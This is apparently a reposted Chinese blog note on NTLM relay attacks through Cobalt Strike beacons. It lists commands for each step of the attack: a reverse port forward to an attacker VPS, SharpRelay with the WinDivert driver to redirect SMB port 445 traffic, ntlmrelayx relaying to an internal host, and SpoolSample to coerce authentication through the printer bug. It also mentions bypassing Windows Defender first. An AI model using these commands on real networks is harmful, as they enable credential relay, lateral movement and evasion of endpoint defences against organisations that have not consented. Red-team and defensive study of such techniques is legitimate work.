NTLM Relay With CobaltStrike

gclome

原文链接：NTLM Relay With CobaltStrike

NTLM Relay With CobaltStrike

PS: 个人感觉这个工具让Relay攻击更加丝滑了.
以及前置知识去这里了解https://daiker.gitbook.io/windows-protocol/

Upload

先Bypass WD

​

这个KIT的代码我分享过了

.​

​
​
Execute把内网目标的8444端口转发到VPS

• rportfwd 1314 127.0.0.1 8444
  

把内网主机的445端口流量转发到他本地的8444

​

• sharprelay server1 "C:\Users\administrator\Desktop\Check\Wing\WinDivert64.sys" 445 8444
  

​
Relay Start

攻击75的机器

• proxychains4 python ntlmrelayx.py -t smb://192.168.123.75 -smb2support -no-http-server
  

配合打印机服务漏洞

• SpoolSample owa2013.rootkit.org 192.168.123.74
  

​
原文地址
https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/